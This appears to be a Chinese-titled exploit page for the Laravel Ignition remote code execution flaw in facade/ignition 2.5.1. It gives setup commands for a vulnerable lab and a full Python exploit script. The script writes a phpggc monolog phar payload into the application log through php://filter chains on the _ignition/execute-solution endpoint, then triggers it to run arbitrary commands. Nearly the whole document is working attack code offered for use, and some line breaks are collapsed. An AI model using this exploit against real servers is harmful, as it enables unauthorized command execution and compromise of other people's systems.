Laravel _ignition 远程代码执行漏洞

sudo apt install php7.4-cli

git clone https://github.com/laravel/laravel.gitcd laravelgit checkout e849812composer installcomposer require facade/ignition==2.5.1php artisan key:generatephp artisan serve --host=0.0.0.0

#!/usr/bin/env python3
import requests, sys, re, os
header={    "Accept": "application/json"}
data = {        "solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",        "parameters":{            "variableName":"cm0s",            "viewFile":""        }    }
def clear_log(url='', viewFile=''):
    global data
    data['parameters']['viewFile'] = viewFile    while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass    requests.post(url=url, json=data, headers=header, verify=False)    requests.post(url=url, json=data, headers=header, verify=False)
def create_payload(url='', viewFile=''):
    global data
    data['parameters']['viewFile'] = viewFile    resp = requests.post(url=url, json=data, headers=header, verify=False)    if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:        return True    return False
def convert(url='', viewFile=''):
    global data
    data['parameters']['viewFile'] = viewFile    resp = requests.post(url=url, json=data, headers=header, verify=False)    if resp.status_code == 200:        return True    return False
def exploited(url='', viewFile=''):
    global data
    data['parameters']['viewFile'] = viewFile    resp = requests.post(url=url, json=data, headers=header, verify=False)    if resp.status_code == 500 and 'cannot be empty' in resp.text:        m = re.findall(r'{(.|n)+}((.|n)*)', resp.text)        print()        print(m[0][1])
def generate_payload(command='', padding=0):    if '/' in command:        command = command.replace('/', '/')        command = command.replace(''', '\'')    os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./=00/g' > payload.txt'''%(command))    payload = ''    with open('payload.txt', 'r') as fp:        payload = fp.read()        payload = payload.replace('==', '=3D=')        for i in range(padding):            payload += '=00'    os.system('rm -rf payload.txt')    return payload

def main():
    if len(sys.argv) < 4:        print('Usage:  %s url path-log commandn'%(sys.argv[0]))        print('tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log 'id''%(sys.argv[0]))        exit(1)
    if not os.path.isfile('./phpggc/phpggc'):        print('Phpggc not found!')        print('Run command: git clone https://github.com/ambionics/phpggc.git')        os.system('git clone https://github.com/ambionics/phpggc.git')
    url = sys.argv[1]    path_log = sys.argv[2]    command = sys.argv[3]    padding = 0
    payload = generate_payload(command, padding)    if not payload:        print('Generate payload error!')        exit(1)
    if 'http' not in url and 'https' not in url:        url = 'http'+url    else:        url = url+'/_ignition/execute-solution'
    print('nExploit...')    clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))    create_payload(url, 'AA')    create_payload(url, payload)    while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):        clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))        create_payload(url, 'AA')        padding += 1        payload = generate_payload(command, padding)        create_payload(url, payload)        exploited(url, 'phar://%s'%(path_log))
if __name__ == '__main__':    main()